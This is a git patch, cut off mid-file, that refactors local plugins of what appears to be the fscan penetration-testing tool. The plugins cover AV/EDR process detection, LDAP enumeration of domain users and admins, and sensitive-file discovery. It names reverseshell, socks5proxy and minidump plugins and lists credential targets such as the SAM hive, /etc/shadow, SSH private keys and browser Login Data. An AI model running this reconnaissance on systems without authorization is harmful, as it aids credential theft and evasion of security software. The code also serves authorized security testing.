From a86098d6b692bbb0fdf3875bf9e9faa0e70772b6 Mon Sep 17 00:00:00 2001 From: ZacharyZcR Date: Mon, 11 Aug 2025 04:10:04 +0800 Subject: [PATCH] =?UTF-8?q?refactor:=20=E9=87=8D=E6=9E=84=E6=9C=AC?= =?UTF-8?q?=E5=9C=B0=E6=8F=92=E4=BB=B6=E6=9E=B6=E6=9E=84=E5=B9=B6=E6=94=AF?= =?UTF-8?q?=E6=8C=81=E5=A4=9A=E5=B9=B3=E5=8F=B0?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - 简化本地插件架构,移除不必要的连接器抽象 - 重构6个本地插件使用统一的简化架构 - 更新平台支持配置:Windows专用插件(avdetect/dcinfo/minidump),跨平台插件(fileinfo/reverseshell/socks5proxy) - 修复插件注册和系统集成 - 优化代码结构和错误处理 --- Common/Flag.go | 6 +- Plugins/local/avdetect/plugin.go | 170 ++++++++++---------------- Plugins/local/connector.go | 138 +++++---------------- Plugins/local/dcinfo/plugin.go | 172 ++++++++++++--------------- Plugins/local/fileinfo/plugin.go | 142 +++++++++++----------- Plugins/local/interfaces.go | 46 ++----- Plugins/local/minidump/plugin.go | 115 +++++++++--------- Plugins/local/plugin.go | 90 +++++++------- Plugins/local/reverseshell/plugin.go | 116 +++++------------- Plugins/local/socks5proxy/plugin.go | 95 +++------------ main.go | 12 +- 11 files changed, 415 insertions(+), 687 deletions(-) diff --git a/Common/Flag.go b/Common/Flag.go index 3d88982..058b649 100644 --- a/Common/Flag.go +++ b/Common/Flag.go @@ -374,12 +374,12 @@ func checkParameterConflicts() { if LocalMode { if LocalPlugin == "" { fmt.Printf("错误: 使用本地扫描模式 (-local) 时必须指定一个本地插件 (-localplugin)\n") - fmt.Printf("可用的本地插件: fileinfo, dcinfo, minidump, reverseshell, socks5proxy, avdetect\n") + fmt.Printf("可用的本地插件: avdetect, fileinfo, dcinfo, minidump, reverseshell, socks5proxy\n") os.Exit(1) } // 验证本地插件名称 - validPlugins := []string{"fileinfo", "dcinfo", "minidump", "reverseshell", "socks5proxy", "avdetect"} + validPlugins := []string{"avdetect", "fileinfo", "dcinfo", "minidump", "reverseshell", "socks5proxy"} // 已重构的插件 isValid := false for _, valid := range validPlugins { if LocalPlugin == valid { @@ -390,7 +390,7 @@ func checkParameterConflicts() { if !isValid { fmt.Printf("错误: 无效的本地插件 '%s'\n", LocalPlugin) - fmt.Printf("可用的本地插件: fileinfo, dcinfo, minidump, reverseshell, socks5proxy, avdetect\n") + fmt.Printf("可用的本地插件: avdetect, fileinfo, dcinfo, minidump, reverseshell, socks5proxy\n") os.Exit(1) } } diff --git a/Plugins/local/avdetect/plugin.go b/Plugins/local/avdetect/plugin.go index 6dfef10..3aedd30 100644 --- a/Plugins/local/avdetect/plugin.go +++ b/Plugins/local/avdetect/plugin.go @@ -22,26 +22,10 @@ import ( //go:embed auto.json var embeddedAVDatabase []byte -// AVDetectPlugin AV/EDR检测插件 +// AVDetectPlugin AV/EDR检测插件 - 使用简化架构 type AVDetectPlugin struct { *local.BaseLocalPlugin - connector *AVDetectConnector - - // AV/EDR数据库 avDatabase map[string]AVProduct - configPath string -} - -// AVDetectConnector AV/EDR检测连接器 -type AVDetectConnector struct { - *local.BaseLocalConnector -} - -// AVDetectConnection AV/EDR检测连接对象 -type AVDetectConnection struct { - *local.LocalConnection - RunningProcesses []ProcessInfo - SystemInfo map[string]string } // AVProduct AV/EDR产品信息 @@ -69,75 +53,44 @@ type DetectionResult struct { Category string `json:"category"` } -// NewAVDetectPlugin 创建AV/EDR检测插件 +// NewAVDetectPlugin 创建AV/EDR检测插件 - 简化版本 func NewAVDetectPlugin() *AVDetectPlugin { metadata := &base.PluginMetadata{ Name: "avdetect", - Version: "1.0.0", + Version: "1.0.0", Author: "fscan-team", - Description: "自动化AV/EDR检测插件,基于auto.json规则库识别安全软件", + Description: "自动化AV/EDR检测插件,基于嵌入式规则库识别安全软件", Category: "local", Tags: []string{"local", "av", "edr", "detection", "security"}, Protocols: []string{"local"}, } - connector := NewAVDetectConnector() plugin := &AVDetectPlugin{ - BaseLocalPlugin: local.NewBaseLocalPlugin(metadata, connector), - connector: connector, + BaseLocalPlugin: local.NewBaseLocalPlugin(metadata), avDatabase: make(map[string]AVProduct), - configPath: "auto.json", // 默认配置文件路径 } - // 设置支持的平台 - plugin.SetPlatformSupport([]string{"windows", "linux", "darwin"}) + // 设置支持的平台 (仅Windows) + plugin.SetPlatformSupport([]string{"windows"}) // 不需要特殊权限 plugin.SetRequiresPrivileges(false) return plugin } -// NewAVDetectConnector 创建AV/EDR检测连接器 -func NewAVDetectConnector() *AVDetectConnector { - baseConnector, _ := local.NewBaseLocalConnector() - - return &AVDetectConnector{ - BaseLocalConnector: baseConnector, - } -} - -// Connect 建立AV/EDR检测连接 -func (c *AVDetectConnector) Connect(ctx context.Context, info *common.HostInfo) (interface{}, error) { - // 先建立基础本地连接 - localConn, err := c.BaseLocalConnector.Connect(ctx, info) - if err != nil { - return nil, err +// Initialize 初始化插件 +func (p *AVDetectPlugin) Initialize() error { + // 先调用基类初始化 + if err := p.BaseLocalPlugin.Initialize(); err != nil { + return err } - baseConn := localConn.(*local.LocalConnection) - - // 获取系统进程信息 - processes, err := c.getRunningProcesses() - if err != nil { - return nil, fmt.Errorf("获取进程列表失败: %v", err) - } - - avDetectConn := &AVDetectConnection{ - LocalConnection: baseConn, - RunningProcesses: processes, - SystemInfo: baseConn.SystemInfo, - } - - return avDetectConn, nil -} - -// Close 关闭AV/EDR检测连接 -func (c *AVDetectConnector) Close(conn interface{}) error { - return c.BaseLocalConnector.Close(conn) + // 加载AV数据库 + return p.loadAVDatabase() } // getRunningProcesses 获取运行中的进程列表 -func (c *AVDetectConnector) getRunningProcesses() ([]ProcessInfo, error) { +func (p *AVDetectPlugin) getRunningProcesses() ([]ProcessInfo, error) { var processes []ProcessInfo var cmd *exec.Cmd @@ -158,7 +111,7 @@ func (c *AVDetectConnector) getRunningProcesses() ([]ProcessInfo, error) { } // 解析命令输出 - processes, err = c.parseProcessOutput(string(output)) + processes, err = p.parseProcessOutput(string(output)) if err != nil { return nil, fmt.Errorf("解析进程信息失败: %v", err) } @@ -167,7 +120,7 @@ func (c *AVDetectConnector) getRunningProcesses() ([]ProcessInfo, error) { } // parseProcessOutput 解析进程命令输出 -func (c *AVDetectConnector) parseProcessOutput(output string) ([]ProcessInfo, error) { +func (p *AVDetectPlugin) parseProcessOutput(output string) ([]ProcessInfo, error) { var processes []ProcessInfo scanner := bufio.NewScanner(strings.NewReader(output)) @@ -185,7 +138,7 @@ func (c *AVDetectConnector) parseProcessOutput(output string) ([]ProcessInfo, er } // 解析PowerShell CSV格式:Name,Id,ProcessName - fields := c.parseCSVLine(line) + fields := p.parseCSVLine(line) if len(fields) >= 3 { processName := strings.Trim(fields[0], "\"") // 如果进程名不包含.exe,则添加 @@ -231,7 +184,7 @@ func (c *AVDetectConnector) parseProcessOutput(output string) ([]ProcessInfo, er } // parseCSVLine 解析CSV行,处理引号内的逗号 -func (c *AVDetectConnector) parseCSVLine(line string) []string { +func (p *AVDetectPlugin) parseCSVLine(line string) []string { var fields []string var current strings.Builder inQuotes := false @@ -266,52 +219,61 @@ func (p *AVDetectPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base return p.ScanLocal(ctx, info) } -// ScanLocal 执行AV/EDR检测扫描 +// ScanLocal 执行AV/EDR检测扫描 - 简化版本 func (p *AVDetectPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) { - common.LogBase("开始AV/EDR安全软件检测...") - - // 加载AV数据库 - err := p.loadAVDatabase() + common.LogInfo("开始AV/EDR安全软件检测...") + + // 获取运行进程 + processes, err := p.getRunningProcesses() if err != nil { - common.LogError(fmt.Sprintf("加载AV数据库失败: %v", err)) - return &base.ScanResult{ - Success: false, - Error: err, - }, nil + common.LogError(fmt.Sprintf("获取进程列表失败: %v", err)) + // 不返回错误,继续执行但结果可能不完整 + processes = []ProcessInfo{} } - - common.LogDebug(fmt.Sprintf("成功加载 %d 个安全产品规则", len(p.avDatabase))) - - // 建立连接 - conn, err := p.connector.Connect(ctx, info) - if err != nil { - return &base.ScanResult{ - Success: false, - Error: fmt.Errorf("连接失败: %v", err), - }, nil - } - defer p.connector.Close(conn) - - avDetectConn := conn.(*AVDetectConnection) - - common.LogDebug(fmt.Sprintf("获取到 %d 个运行进程", len(avDetectConn.RunningProcesses))) - - // 执行AV/EDR检测 - detectionResults := p.detectAVEDR(avDetectConn.RunningProcesses) - + + common.LogDebug(fmt.Sprintf("获取到 %d 个运行进程", len(processes))) + + // 检测AV/EDR产品 + detectionResults := p.detectAVEDR(processes) + + // 获取系统信息 + systemInfo := p.GetSystemInfo() + // 生成检测报告 - report := p.generateDetectionReport(detectionResults, avDetectConn.SystemInfo) - + report := p.generateDetectionReport(detectionResults, systemInfo) + + if len(detectionResults) == 0 { + common.LogInfo("未检测到已知的AV/EDR安全产品") + return &base.ScanResult{ + Success: true, + Service: "AVDetect", + Banner: "未检测到已知的AV/EDR安全产品", + Extra: map[string]interface{}{ + "detected_products": detectionResults, + "total_processes": len(processes), + "detection_report": report, + "platform": runtime.GOOS, + "database_products": len(p.avDatabase), + }, + }, nil + } + + // 输出检测结果 + common.LogInfo(fmt.Sprintf("[+] AV/EDR检测完成: 发现 %d 个安全产品", len(detectionResults))) + for _, result := range detectionResults { + common.LogInfo(fmt.Sprintf("[+] 检测到: %s (%d个进程)", result.ProductName, len(result.DetectedProcesses))) + } + result := &base.ScanResult{ - Success: len(detectionResults) >= 0, // 即使没有检测到也算成功 + Success: true, Service: "AVDetect", Banner: fmt.Sprintf("检测完成: 发现 %d 个安全产品", len(detectionResults)), Extra: map[string]interface{}{ - "detected_products": detectionResults, - "total_processes": len(avDetectConn.RunningProcesses), - "detection_report": report, - "platform": runtime.GOOS, - "database_products": len(p.avDatabase), + "detected_products": detectionResults, + "total_processes": len(processes), + "detection_report": report, + "platform": runtime.GOOS, + "database_products": len(p.avDatabase), }, } diff --git a/Plugins/local/connector.go b/Plugins/local/connector.go index c0e5e7b..337315f 100644 --- a/Plugins/local/connector.go +++ b/Plugins/local/connector.go @@ -1,124 +1,38 @@ package local import ( - "context" - "fmt" "os" "runtime" "path/filepath" - "github.com/shadow1ng/fscan/common" ) -// BaseLocalConnector 基础本地连接器实现 -type BaseLocalConnector struct { - workingDir string - homeDir string - systemInfo map[string]string -} +// 本地插件实用工具函数 +// 由于移除了LocalConnector概念,这个文件现在包含实用的工具函数 -// LocalConnection 本地连接对象 -type LocalConnection struct { - WorkingDir string - HomeDir string - SystemInfo map[string]string - TempDir string -} - -// NewBaseLocalConnector 创建基础本地连接器 -func NewBaseLocalConnector() (*BaseLocalConnector, error) { - homeDir, err := os.UserHomeDir() - if err != nil { - return nil, err - } - - workingDir, err := os.Getwd() - if err != nil { - return nil, err - } - - return &BaseLocalConnector{ - workingDir: workingDir, - homeDir: homeDir, - systemInfo: make(map[string]string), - }, nil -} - -// Connect 建立本地连接 -func (c *BaseLocalConnector) Connect(ctx context.Context, info *common.HostInfo) (interface{}, error) { - // 初始化系统信息 - c.initSystemInfo() - - tempDir := os.TempDir() - - conn := &LocalConnection{ - WorkingDir: c.workingDir, - HomeDir: c.homeDir, - SystemInfo: c.systemInfo, - TempDir: tempDir, - } - - return conn, nil -} - -// Close 关闭连接 -func (c *BaseLocalConnector) Close(conn interface{}) error { - // 本地连接无需特殊关闭操作 - return nil -} - -// GetSystemInfo 获取系统信息 -func (c *BaseLocalConnector) GetSystemInfo(conn interface{}) (map[string]string, error) { - localConn, ok := conn.(*LocalConnection) - if !ok { - return nil, fmt.Errorf("无效的连接类型") - } - - return localConn.SystemInfo, nil -} - -// initSystemInfo 初始化系统信息 -func (c *BaseLocalConnector) initSystemInfo() { - c.systemInfo["os"] = runtime.GOOS - c.systemInfo["arch"] = runtime.GOARCH - c.systemInfo["home_dir"] = c.homeDir - c.systemInfo["working_dir"] = c.workingDir - c.systemInfo["temp_dir"] = os.TempDir() - - // 获取用户名 - if username := os.Getenv("USER"); username != "" { - c.systemInfo["username"] = username - } else if username := os.Getenv("USERNAME"); username != "" { - c.systemInfo["username"] = username - } - - // 获取主机名 - if hostname, err := os.Hostname(); err == nil { - c.systemInfo["hostname"] = hostname - } -} - -// GetCommonDirectories 获取常见目录路径 -func (c *BaseLocalConnector) GetCommonDirectories() []string { +// GetCommonDirectories 获取常见目录路径 - 实用工具函数 +func GetCommonDirectories() []string { var dirs []string + homeDir, _ := os.UserHomeDir() + switch runtime.GOOS { case "windows": dirs = []string{ - c.homeDir, - filepath.Join(c.homeDir, "Desktop"), - filepath.Join(c.homeDir, "Documents"), - filepath.Join(c.homeDir, "Downloads"), + homeDir, + filepath.Join(homeDir, "Desktop"), + filepath.Join(homeDir, "Documents"), + filepath.Join(homeDir, "Downloads"), "C:\\Users\\Public\\Documents", - "C:\\Users\\Public\\Desktop", + "C:\\Users\\Public\\Desktop", "C:\\Program Files", "C:\\Program Files (x86)", } case "linux", "darwin": dirs = []string{ - c.homeDir, - filepath.Join(c.homeDir, "Desktop"), - filepath.Join(c.homeDir, "Documents"), - filepath.Join(c.homeDir, "Downloads"), + homeDir, + filepath.Join(homeDir, "Desktop"), + filepath.Join(homeDir, "Documents"), + filepath.Join(homeDir, "Downloads"), "/opt", "/usr/local", "/var/www", @@ -129,33 +43,35 @@ func (c *BaseLocalConnector) GetCommonDirectories() []string { return dirs } -// GetSensitiveFiles 获取敏感文件路径 -func (c *BaseLocalConnector) GetSensitiveFiles() []string { +// GetSensitiveFiles 获取敏感文件路径 - 实用工具函数 +func GetSensitiveFiles() []string { var files []string + homeDir, _ := os.UserHomeDir() + switch runtime.GOOS { case "windows": files = []string{ "C:\\boot.ini", "C:\\windows\\system32\\inetsrv\\MetaBase.xml", - "C:\\windows\\repair\\sam", + "C:\\windows\\repair\\sam", "C:\\windows\\system32\\config\\sam", - filepath.Join(c.homeDir, "AppData", "Local", "Google", "Chrome", "User Data", "Default", "Login Data"), - filepath.Join(c.homeDir, "AppData", "Local", "Microsoft", "Edge", "User Data", "Default", "Login Data"), - filepath.Join(c.homeDir, "AppData", "Roaming", "Mozilla", "Firefox", "Profiles"), + filepath.Join(homeDir, "AppData", "Local", "Google", "Chrome", "User Data", "Default", "Login Data"), + filepath.Join(homeDir, "AppData", "Local", "Microsoft", "Edge", "User Data", "Default", "Login Data"), + filepath.Join(homeDir, "AppData", "Roaming", "Mozilla", "Firefox", "Profiles"), } case "linux", "darwin": files = []string{ "/etc/passwd", - "/etc/shadow", + "/etc/shadow", "/etc/hosts", "/etc/ssh/ssh_config", "/root/.ssh/id_rsa", "/root/.ssh/authorized_keys", "/root/.bash_history", - filepath.Join(c.homeDir, ".ssh/id_rsa"), - filepath.Join(c.homeDir, ".ssh/authorized_keys"), - filepath.Join(c.homeDir, ".bash_history"), + filepath.Join(homeDir, ".ssh/id_rsa"), + filepath.Join(homeDir, ".ssh/authorized_keys"), + filepath.Join(homeDir, ".bash_history"), } } diff --git a/Plugins/local/dcinfo/plugin.go b/Plugins/local/dcinfo/plugin.go index b5b88fc..97cc782 100644 --- a/Plugins/local/dcinfo/plugin.go +++ b/Plugins/local/dcinfo/plugin.go @@ -15,28 +15,19 @@ import ( "strings" ) -// DCInfoPlugin 域控信息收集插件 +// DCInfoPlugin 域控信息收集插件 - 使用简化架构 type DCInfoPlugin struct { *local.BaseLocalPlugin - connector *DCInfoConnector } -// DCInfoConnector 域控信息连接器 -type DCInfoConnector struct { - *local.BaseLocalConnector - conn *ldap.Conn - baseDN string -} - -// DomainConnection 域连接对象 -type DomainConnection struct { - *local.LocalConnection - LDAPConn *ldap.Conn - BaseDN string +// DomainInfo 域信息结构 +type DomainInfo struct { Domain string + BaseDN string + LDAPConn *ldap.Conn } -// NewDCInfoPlugin 创建域控信息收集插件 +// NewDCInfoPlugin 创建域控信息收集插件 - 简化版本 func NewDCInfoPlugin() *DCInfoPlugin { metadata := &base.PluginMetadata{ Name: "dcinfo", @@ -48,16 +39,14 @@ func NewDCInfoPlugin() *DCInfoPlugin { Protocols: []string{"local"}, } - connector := NewDCInfoConnector() plugin := &DCInfoPlugin{ - BaseLocalPlugin: local.NewBaseLocalPlugin(metadata, connector), - connector: connector, + BaseLocalPlugin: local.NewBaseLocalPlugin(metadata), } // 仅支持Windows平台 plugin.SetPlatformSupport([]string{"windows"}) - // 需要域环境权限 - plugin.SetRequiresPrivileges(false) // 使用当前用户凭据 + // 不需要特殊权限,使用当前用户凭据 + plugin.SetRequiresPrivileges(false) return plugin } @@ -67,69 +56,39 @@ func (p *DCInfoPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.S return p.ScanLocal(ctx, info) } -// NewDCInfoConnector 创建域控信息连接器 -func NewDCInfoConnector() *DCInfoConnector { - baseConnector, _ := local.NewBaseLocalConnector() - - return &DCInfoConnector{ - BaseLocalConnector: baseConnector, - } -} - -// Connect 建立域控连接 -func (c *DCInfoConnector) Connect(ctx context.Context, info *common.HostInfo) (interface{}, error) { - // 先建立基础本地连接 - localConn, err := c.BaseLocalConnector.Connect(ctx, info) - if err != nil { - return nil, err - } - - baseConn := localConn.(*local.LocalConnection) - +// connectToDomain 连接到域控制器 - 简化版本 +func (p *DCInfoPlugin) connectToDomain() (*DomainInfo, error) { // 获取域控制器地址 - dcHost, domain, err := c.getDomainController() + dcHost, domain, err := p.getDomainController() if err != nil { return nil, fmt.Errorf("获取域控制器失败: %v", err) } // 建立LDAP连接 - ldapConn, baseDN, err := c.connectToLDAP(dcHost, domain) + ldapConn, baseDN, err := p.connectToLDAP(dcHost, domain) if err != nil { return nil, fmt.Errorf("LDAP连接失败: %v", err) } - domainConn := &DomainConnection{ - LocalConnection: baseConn, - LDAPConn: ldapConn, - BaseDN: baseDN, - Domain: domain, - } - - return domainConn, nil -} - -// Close 关闭域控连接 -func (c *DCInfoConnector) Close(conn interface{}) error { - if domainConn, ok := conn.(*DomainConnection); ok { - if domainConn.LDAPConn != nil { - domainConn.LDAPConn.Close() - } - } - return c.BaseLocalConnector.Close(conn) + return &DomainInfo{ + Domain: domain, + BaseDN: baseDN, + LDAPConn: ldapConn, + }, nil } // getDomainController 获取域控制器地址 -func (c *DCInfoConnector) getDomainController() (string, string, error) { +func (p *DCInfoPlugin) getDomainController() (string, string, error) { common.LogDebug("开始查询域控制器地址...") // 方法1: 尝试使用PowerShell获取域名 - domain, err := c.getDomainNamePowerShell() + domain, err := p.getDomainNamePowerShell() if err != nil { // 方法2: 尝试使用wmic(如果可用) - domain, err = c.getDomainNameWmic() + domain, err = p.getDomainNameWmic() if err != nil { // 方法3: 尝试使用环境变量 - domain, err = c.getDomainNameFromEnv() + domain, err = p.getDomainNameFromEnv() if err != nil { return "", "", fmt.Errorf("获取域名失败: %v", err) } @@ -143,7 +102,7 @@ func (c *DCInfoConnector) getDomainController() (string, string, error) { common.LogDebug(fmt.Sprintf("获取到域名: %s", domain)) // 查询域控制器 - dcHost, err := c.findDomainController(domain) + dcHost, err := p.findDomainController(domain) if err != nil { // 备选方案:使用域名直接构造 dcHost = fmt.Sprintf("dc.%s", domain) @@ -154,7 +113,7 @@ func (c *DCInfoConnector) getDomainController() (string, string, error) { } // getDomainNamePowerShell 使用PowerShell获取域名 -func (c *DCInfoConnector) getDomainNamePowerShell() (string, error) { +func (p *DCInfoPlugin) getDomainNamePowerShell() (string, error) { cmd := exec.Command("powershell", "-Command", "(Get-WmiObject Win32_ComputerSystem).Domain") output, err := cmd.Output() if err != nil { @@ -170,7 +129,7 @@ func (c *DCInfoConnector) getDomainNamePowerShell() (string, error) { } // getDomainNameWmic 使用wmic获取域名 -func (c *DCInfoConnector) getDomainNameWmic() (string, error) { +func (p *DCInfoPlugin) getDomainNameWmic() (string, error) { cmd := exec.Command("wmic", "computersystem", "get", "domain", "/value") output, err := cmd.Output() if err != nil { @@ -191,7 +150,7 @@ func (c *DCInfoConnector) getDomainNameWmic() (string, error) { } // getDomainNameFromEnv 从环境变量获取域名 -func (c *DCInfoConnector) getDomainNameFromEnv() (string, error) { +func (p *DCInfoPlugin) getDomainNameFromEnv() (string, error) { // 尝试从环境变量获取 cmd := exec.Command("cmd", "/c", "echo %USERDOMAIN%") output, err := cmd.Output() @@ -208,7 +167,7 @@ func (c *DCInfoConnector) getDomainNameFromEnv() (string, error) { } // findDomainController 查找域控制器 -func (c *DCInfoConnector) findDomainController(domain string) (string, error) { +func (p *DCInfoPlugin) findDomainController(domain string) (string, error) { // 方法1: 使用nslookup查询SRV记录 cmd := exec.Command("nslookup", "-type=SRV", fmt.Sprintf("_ldap._tcp.dc._msdcs.%s", domain)) output, err := cmd.Output() @@ -241,7 +200,7 @@ func (c *DCInfoConnector) findDomainController(domain string) (string, error) { } // connectToLDAP 连接到LDAP服务器 -func (c *DCInfoConnector) connectToLDAP(dcHost, domain string) (*ldap.Conn, string, error) { +func (p *DCInfoPlugin) connectToLDAP(dcHost, domain string) (*ldap.Conn, string, error) { common.LogDebug(fmt.Sprintf("尝试连接到LDAP服务器: %s", dcHost)) // 创建SSPI客户端 @@ -264,7 +223,7 @@ func (c *DCInfoConnector) connectToLDAP(dcHost, domain string) (*ldap.Conn, stri // 方法2: 尝试使用IPv4地址 common.LogDebug("方法2: 解析IPv4地址") - ipv4, err := c.resolveIPv4(dcHost) + ipv4, err := p.resolveIPv4(dcHost) if err == nil { common.LogDebug(fmt.Sprintf("解析到IPv4地址: %s", ipv4)) conn, err = ldap.DialURL(fmt.Sprintf("ldap://%s:389", ipv4)) @@ -296,7 +255,7 @@ func (c *DCInfoConnector) connectToLDAP(dcHost, domain string) (*ldap.Conn, stri // 获取BaseDN common.LogDebug("获取BaseDN...") - baseDN, err := c.getBaseDN(conn, domain) + baseDN, err := p.getBaseDN(conn, domain) if err != nil { conn.Close() return nil, "", err @@ -307,7 +266,7 @@ func (c *DCInfoConnector) connectToLDAP(dcHost, domain string) (*ldap.Conn, stri } // getBaseDN 获取BaseDN -func (c *DCInfoConnector) getBaseDN(conn *ldap.Conn, domain string) (string, error) { +func (p *DCInfoPlugin) getBaseDN(conn *ldap.Conn, domain string) (string, error) { searchRequest := ldap.NewSearchRequest( "", ldap.ScopeBaseObject, @@ -342,7 +301,7 @@ func (c *DCInfoConnector) getBaseDN(conn *ldap.Conn, domain string) (string, err } // resolveIPv4 解析主机名为IPv4地址 -func (c *DCInfoConnector) resolveIPv4(hostname string) (string, error) { +func (p *DCInfoPlugin) resolveIPv4(hostname string) (string, error) { ips, err := net.LookupIP(hostname) if err != nil { return "", err @@ -358,12 +317,12 @@ func (c *DCInfoConnector) resolveIPv4(hostname string) (string, error) { return "", fmt.Errorf("未找到IPv4地址") } -// ScanLocal 执行域控信息扫描 +// ScanLocal 执行域控信息扫描 - 简化版本 func (p *DCInfoPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) { - common.LogBase("开始域控制器信息收集...") + common.LogInfo("开始域控制器信息收集...") // 建立域控连接 - conn, err := p.connector.Connect(ctx, info) + domainConn, err := p.connectToDomain() if err != nil { // 提供更友好的错误信息 if strings.Contains(err.Error(), "未加入域") || strings.Contains(err.Error(), "WORKGROUP") { @@ -379,9 +338,11 @@ func (p *DCInfoPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*b Error: fmt.Errorf("域控连接失败: %v", err), }, nil } - defer p.connector.Close(conn) - - domainConn := conn.(*DomainConnection) + defer func() { + if domainConn.LDAPConn != nil { + domainConn.LDAPConn.Close() + } + }() // 收集域信息 domainData := make(map[string]interface{}) @@ -442,11 +403,17 @@ func (p *DCInfoPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*b common.LogError(fmt.Sprintf("获取组织单位失败: %v", err)) } + // 获取系统信息 + systemInfo := p.GetSystemInfo() + result := &base.ScanResult{ Success: len(domainData) > 0, Service: "DCInfo", - Banner: fmt.Sprintf("域: %s (BaseDN: %s)", domainConn.Domain, domainConn.BaseDN), - Extra: domainData, + Banner: fmt.Sprintf("检测完成: 域: %s (BaseDN: %s)", domainConn.Domain, domainConn.BaseDN), + Extra: map[string]interface{}{ + "domain_data": domainData, + "system_info": systemInfo, + }, } common.LogSuccess("域控制器信息收集完成") @@ -454,7 +421,7 @@ func (p *DCInfoPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*b } // getDomainInfo 获取域基本信息 -func (p *DCInfoPlugin) getDomainInfo(conn *DomainConnection) (map[string]interface{}, error) { +func (p *DCInfoPlugin) getDomainInfo(conn *DomainInfo) (map[string]interface{}, error) { searchRequest := ldap.NewSearchRequest( conn.BaseDN, ldap.ScopeBaseObject, @@ -487,7 +454,7 @@ func (p *DCInfoPlugin) getDomainInfo(conn *DomainConnection) (map[string]interfa } // getDomainControllers 获取域控制器详细信息 -func (p *DCInfoPlugin) getDomainControllers(conn *DomainConnection) ([]map[string]interface{}, error) { +func (p *DCInfoPlugin) getDomainControllers(conn *DomainInfo) ([]map[string]interface{}, error) { dcQuery := ldap.NewSearchRequest( conn.BaseDN, ldap.ScopeWholeSubtree, @@ -520,7 +487,7 @@ func (p *DCInfoPlugin) getDomainControllers(conn *DomainConnection) ([]map[strin } // getDomainUsersDetailed 获取域用户详细信息 -func (p *DCInfoPlugin) getDomainUsersDetailed(conn *DomainConnection) ([]map[string]interface{}, error) { +func (p *DCInfoPlugin) getDomainUsersDetailed(conn *DomainInfo) ([]map[string]interface{}, error) { searchRequest := ldap.NewSearchRequest( conn.BaseDN, ldap.ScopeWholeSubtree, @@ -560,7 +527,7 @@ func (p *DCInfoPlugin) getDomainUsersDetailed(conn *DomainConnection) ([]map[str } // getDomainAdminsDetailed 获取域管理员详细信息 -func (p *DCInfoPlugin) getDomainAdminsDetailed(conn *DomainConnection) ([]map[string]interface{}, error) { +func (p *DCInfoPlugin) getDomainAdminsDetailed(conn *DomainInfo) ([]map[string]interface{}, error) { // 获取Domain Admins组 searchRequest := ldap.NewSearchRequest( conn.BaseDN, @@ -615,7 +582,7 @@ func (p *DCInfoPlugin) getDomainAdminsDetailed(conn *DomainConnection) ([]map[st } // getComputersDetailed 获取域计算机详细信息 -func (p *DCInfoPlugin) getComputersDetailed(conn *DomainConnection) ([]map[string]interface{}, error) { +func (p *DCInfoPlugin) getComputersDetailed(conn *DomainInfo) ([]map[string]interface{}, error) { searchRequest := ldap.NewSearchRequest( conn.BaseDN, ldap.ScopeWholeSubtree, @@ -648,7 +615,7 @@ func (p *DCInfoPlugin) getComputersDetailed(conn *DomainConnection) ([]map[strin } // getUserInfoByDN 根据DN获取用户信息 -func (p *DCInfoPlugin) getUserInfoByDN(conn *DomainConnection, userDN string) (map[string]interface{}, error) { +func (p *DCInfoPlugin) getUserInfoByDN(conn *DomainInfo, userDN string) (map[string]interface{}, error) { searchRequest := ldap.NewSearchRequest( userDN, ldap.ScopeBaseObject, @@ -682,7 +649,7 @@ func (p *DCInfoPlugin) getUserInfoByDN(conn *DomainConnection, userDN string) (m } // getGroupPolicies 获取组策略信息 -func (p *DCInfoPlugin) getGroupPolicies(conn *DomainConnection) ([]map[string]interface{}, error) { +func (p *DCInfoPlugin) getGroupPolicies(conn *DomainInfo) ([]map[string]interface{}, error) { common.LogDebug("开始搜索GPO...") common.LogDebug(fmt.Sprintf("使用BaseDN: %s", conn.BaseDN)) @@ -740,7 +707,7 @@ func (p *DCInfoPlugin) getGroupPolicies(conn *DomainConnection) ([]map[string]in } // getOrganizationalUnits 获取组织单位信息 -func (p *DCInfoPlugin) getOrganizationalUnits(conn *DomainConnection) ([]map[string]interface{}, error) { +func (p *DCInfoPlugin) getOrganizationalUnits(conn *DomainInfo) ([]map[string]interface{}, error) { common.LogDebug("开始搜索OU和容器...") common.LogDebug(fmt.Sprintf("使用BaseDN: %s", conn.BaseDN)) @@ -1016,9 +983,9 @@ func (p *DCInfoPlugin) ExtractData(ctx context.Context, info *common.HostInfo, d }, nil } -// 插件注册函数 -func init() { - base.GlobalPluginRegistry.Register("dcinfo", base.NewSimplePluginFactory( +// RegisterDCInfoPlugin 注册域控信息收集插件 +func RegisterDCInfoPlugin() { + factory := base.NewSimplePluginFactory( &base.PluginMetadata{ Name: "dcinfo", Version: "1.0.0", @@ -1031,5 +998,24 @@ func init() { func() base.Plugin { return NewDCInfoPlugin() }, - )) + ) + + base.GlobalPluginRegistry.Register("dcinfo", factory) +} + +// GetInfo 获取插件信息 +func (p *DCInfoPlugin) GetInfo() string { + var info strings.Builder + + info.WriteString("Windows域控制器信息收集插件\n") + info.WriteString(fmt.Sprintf("支持平台: %s\n", strings.Join(p.GetPlatformSupport(), ", "))) + info.WriteString("功能: 收集域用户、计算机、组策略、OU等信息\n") + info.WriteString("要求: 必须在域环境中运行\n") + + return info.String() +} + +// 插件注册函数 +func init() { + RegisterDCInfoPlugin() } \ No newline at end of file diff --git a/Plugins/local/fileinfo/plugin.go b/Plugins/local/fileinfo/plugin.go index e3b0ebf..7b7c87e 100644 --- a/Plugins/local/fileinfo/plugin.go +++ b/Plugins/local/fileinfo/plugin.go @@ -12,24 +12,18 @@ import ( "github.com/shadow1ng/fscan/plugins/local" ) -// FileInfoPlugin 文件信息收集插件 +// FileInfoPlugin 文件信息收集插件 - 使用简化架构 type FileInfoPlugin struct { *local.BaseLocalPlugin - connector *FileInfoConnector // 配置选项 - blacklist []string - whitelist []string + blacklist []string + whitelist []string + sensitiveFiles []string + searchDirs []string } -// FileInfoConnector 文件信息连接器 -type FileInfoConnector struct { - *local.BaseLocalConnector - sensitiveFiles []string - searchDirs []string -} - -// NewFileInfoPlugin 创建文件信息收集插件 +// NewFileInfoPlugin 